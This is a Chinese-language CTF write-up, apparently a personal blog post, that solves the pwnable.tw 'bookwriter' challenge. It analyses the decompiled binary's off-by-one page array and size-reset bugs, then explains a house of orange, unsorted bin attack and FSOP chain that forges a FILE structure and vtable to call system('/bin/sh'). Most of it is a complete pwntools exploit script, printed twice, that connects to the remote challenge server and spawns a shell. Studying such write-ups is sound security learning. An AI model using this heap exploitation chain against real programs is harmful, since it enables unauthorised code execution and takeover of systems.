pwnable.tw-bookwriter

保护

1
2
3
4
5
6
7
[*] '/home/yyyffff/桌面/bookwriter/bookwriter'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
FORTIFY: Enabled

程序分析

(glibc-2.23)

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to the BookWriter !");
sub_400BDF();//输入作者的函数
while ( 1 )
{
sub_40093A(); // 提供一个菜单
switch ( sub_4008CD() )
{
case 1LL:
sub_4009AA(); //add
break;
case 2LL:
sub_400A99(); //view
break;
case 3LL:
sub_400B27(); //edit
break;
case 4LL:
sub_400C04(); //info
break;
case 5LL:
exit(0);
default:
puts("Invalid choice");
break;
}
}
}

author

1
2
3
4
5
__int64 sub_400BDF()
{
printf("Author :");
return sub_400856((__int64)byte_602060, 0x40u);
}

这里(__int64)byte_602060和存储堆地址的数组连在了一起,

我们就可以输入0x40然后利用下面的info泄露出堆的地址

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int sub_4009AA()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
char *v2; // [rsp+10h] [rbp-10h]
__int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 8 ) // 多了一个,实际上可以分配9个堆,不过最后一个不能edit
return puts("You can't add new page anymore!");
if ( !(&qword_6020A0)[i] ) // 这个需要处理一下防止走到这个分支 edit中处理
break;
}
printf("Size of page :");
size = sub_4008CD();
v2 = (char *)malloc(size);
if ( !v2 )
{
puts("Error !");
exit(0);
}
printf("Content :");
sub_400856(v2, (unsigned int)size);
(&qword_6020A0)[i] = v2;
qword_6020E0[i] = size;
++dword_602040;
return puts("Done !");
}

循环条件失误了,实际上可以分配9个堆

由于存储堆的地址qword_6020A0和存储堆大小的地址qword_6020E0连在了一起,当分配第九个堆的时候就可以将第一个堆的大小覆盖成第九个堆的地址qword_6020A0[8]=qword_6020E0[0],一个堆的大小就会变成非常大,可以利用

view

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int sub_400B27()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
v1 = sub_4008CD();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&qword_6020A0)[v1] )
return puts("Not found !");
printf("Content:");
sub_400856((&qword_6020A0)[v1], (unsigned int)qword_6020E0[v1]);//read
qword_6020E0[v1] = strlen((&qword_6020A0)[v1]);
return puts("Done !");
}

在17行重置大小的时候

  • 填充为当前堆块的大小,重置后就会使记录的大小变大(将下一个堆块的size域计算在内),这样在下一次修改的时候可以修改下一个堆块的size
  • 输入\x00就可以将当前的堆块记录的大小设置为0

info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_400C04()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("Author : %s\n", byte_602060);
printf("Page : %u\n", (unsigned int)dword_602040);
printf("Do you want to change the author ? (yes:1 / no:0) ");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
sub_400BDF();
return __readfsqword(0x28u) ^ v2;
}

可以与author结合起来,用来泄露堆的地址

利用思路

整体是用到FSOP伪造一个IO_list_all和vtable表,需要用到system函数,也就需要libc基址。还要知道堆上的地址

准备工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
libc=ELF('./libc_64.so.6')
#r=process('./bookwriter')
r=remote("chall.pwnable.tw",10304)

def add(size,content):
r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Size of page :")
r.sendline(str(size))
r.recvuntil("Content :")
r.send(content)

def view(idx):
r.recvuntil("Your choice :")
r.sendline("2")
r.recvuntil("Index of page :")
r.sendline(str(idx))

def edit(idx,content):
r.recvuntil("Your choice :")
r.sendline("3")
r.recvuntil("Index of page :")
r.sendline(str(idx))
r.recvuntil("Content:")
r.send(content)

def info(cho,aut):
r.recvuntil("Your choice :")
r.sendline("4")
r.recvuntil("Do you want to change the author ? (yes:1 / no:0) ")
if (cho):
r.sendline("1")
r.recvuntil("Author :")
r.sendline(str(aut))
else:
r.sendline("0")

def exit():
r.recvuntil("Your choice :")
r.sendline("5")

13行不能用sendline,因为这样会多发送一个,导致其他数据被覆盖

  • 因为没有free函数,这里用house of orange搞出一个在unsortedbin里的堆块。同时我们在第一步输入author填0x40大小的数据,再利用info就可以泄露出第一个堆块的地址,接着就是一系列地址的计算
  • house of orange就是当申请的块大小大于top chunk又小于mmap分配阈值,并且top chunk满足一些条件时,就会将当前的top chunk放入unsortedbin中并再扩展或映射一个新的top chunk出来。这里由于info里有scanf,而scanf又会申请0x1000的堆块,所以我们这里直接使用了info,没有自己申请
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
r.recvuntil("Author :")
r.send(b'A'*0x39+b'yyyffff') # 填充0x40长度
add(0x18,b'aaa') # 0
edit(0,b'A'*0x18)
edit(0,b'A'*0x18+b'\xe1'+b'\x0f'+b'\x00')# 这里将top chunk大小修改为fe1,用于house of orange
r.recvuntil("Your choice :")
r.sendline("4")
r.recvuntil("yyyffff")
heap_addr=u64(r.recv(4).ljust(8,b'\x00'))-0x10 # 泄露出堆地址
print("heap->",hex(heap_addr))
r.recvuntil("Do you want to change the author ? (yes:1 / no:0) ")
r.sendline("0")
add(0x58,b'aaaaaaaa') # 1 这里分配的小块就是从unsortedbin中分配了。分配时不会清理堆块,里面fd bk都还在
view(1)
r.recvuntil("Content :\naaaaaaaa")
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))-0x610 # 根据调试结果计算
libcbase=unsortedbin-0x58-0x3c3b20
system_addr=libcbase+libc.sym['system']
_IO_list_all=libcbase+libc.sym['_IO_list_all']
print("heap->",hex(heap_addr))
print("system->",hex(system_addr))
print("_IO_list_all->",hex(_IO_list_all))
print("unsortedbin->",hex(unsortedbin))
  • 接着分配到第九个堆块,让第一个堆块的记录的大小变成堆地址,这样就可以输入很大的数据
1
2
3
edit(0,b'\x00') # 为了通过检查
for i in range(7):
add(0x58,b'aaaa')
  • 接着我们利用unsortedbin attack来修改IO_list_all(控制unsortbin的bk位目标地址-0x10),这一步我们将IO_list_all修改成了可unsortedbin链表头的地址(main_arena+88)
  • 但此时这个空间是不可控的并且不满足执行overflow的条件,所以我们要继续找对应的chain字段存储的那个地址
  • 而这个指针对应的地址是smallbin上的,我们要控制这个地址就需要一个在smallbin范围内的chunk,此时我们可以修改那个unsortedbin里的chunk的大小,使其会被连到smallbin的之中,至于改多大要看chain的位置,这里是改成0x60

  • 因为我们之前将chunk[0]的大小改成很大,我们就可以利用0这个块来修改unsortedbin中的块
  • 然后构造完FILE结构接着构造vtable表,利用我们之前泄露的堆地址在再计算一下偏移就可以得到vtable地址了
1
2
3
4
5
6
7
8
9
10
11
12
13
data=b'A'*(0x310)
vtable_addr=heap_addr+0x320+0x80+0x40+0x20
fakefile=b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(_IO_list_all-0x10)+p64(3)+p64(4)+p64(0)*12+p64(0)+p64(0)*8+p64(vtable_addr)+p64(0)*3+p64(system_addr) # IO_list_all-0x10就是unsortedbin attack
edit(0,data+fakefile)
edit(0,b'\x00')
print(hex(vtable_addr))

r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Size of page :")
r.sendline(str(16))

r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
libc=ELF('./libc_64.so.6')
#r=process('./bookwriter')
r=remote("chall.pwnable.tw",10304)

def add(size,content):
r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Size of page :")
r.sendline(str(size))
r.recvuntil("Content :")
r.send(content)

def view(idx):
r.recvuntil("Your choice :")
r.sendline("2")
r.recvuntil("Index of page :")
r.sendline(str(idx))

def edit(idx,content):
r.recvuntil("Your choice :")
r.sendline("3")
r.recvuntil("Index of page :")
r.sendline(str(idx))
r.recvuntil("Content:")
r.send(content)

def info(cho,aut):
r.recvuntil("Your choice :")
r.sendline("4")
r.recvuntil("Do you want to change the author ? (yes:1 / no:0) ")
if (cho):
r.sendline("1")
r.recvuntil("Author :")
r.sendline(str(aut))
else:
r.sendline("0")

def exit():
r.recvuntil("Your choice :")
r.sendline("5")

r.recvuntil("Author :")
r.send(b'A'*0x39+b'yyyffff')
add(0x18,b'aaa') # 0
edit(0,b'A'*0x18)
edit(0,b'A'*0x18+b'\xe1'+b'\x0f'+b'\x00')
r.recvuntil("Your choice :")
r.sendline("4")
r.recvuntil("yyyffff")
heap_addr=u64(r.recv(4).ljust(8,b'\x00'))-0x10
print("heap->",hex(heap_addr))
r.recvuntil("Do you want to change the author ? (yes:1 / no:0) ")
r.sendline("0")
add(0x58,b'aaaaaaaa') # 1
view(1)
r.recvuntil("Content :\naaaaaaaa")
unsortedbin=u64(r.recv(6).ljust(8,b'\x00'))-0x610
libcbase=unsortedbin-0x58-0x3c3b20
system_addr=libcbase+libc.sym['system']
_IO_list_all=libcbase+libc.sym['_IO_list_all']
print("heap->",hex(heap_addr))
print("system->",hex(system_addr))
print("_IO_list_all->",hex(_IO_list_all))
print("unsortedbin->",hex(unsortedbin))
#pause()
edit(0,b'\x00') # 为了通过检查
for i in range(7):
add(0x58,b'aaaa')
pause()
data=b'A'*(0x310)
vtable_addr=heap_addr+0x320+0x80+0x40+0x20
fakefile=b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(_IO_list_all-0x10)+p64(3)+p64(4)+p64(0)*12+p64(0)+p64(0)*8+p64(vtable_addr)+p64(0)*3+p64(system_addr)
edit(0,data+fakefile)
edit(0,b'\x00')
print(hex(vtable_addr))

r.recvuntil("Your choice :")
r.sendline("1")
r.recvuntil("Size of page :")
r.sendline(str(16))

r.interactive()

参考wp

- pwn | dreamcat = 我他喵的

[原创]从BookWriter看house_of_orange原理【新手向】-Pwn-看雪-安全社区|安全招聘|kanxue.com

https://blingblingxuanxuan.github.io/2020/04/04/bookwriter/#I-O-FILE


pwnable.tw-bookwriter
http://yyyffff.github.io/2025/06/11/pwnable.tw-bookwriter/
作者
yyyffff
发布于
2025年6月11日
许可协议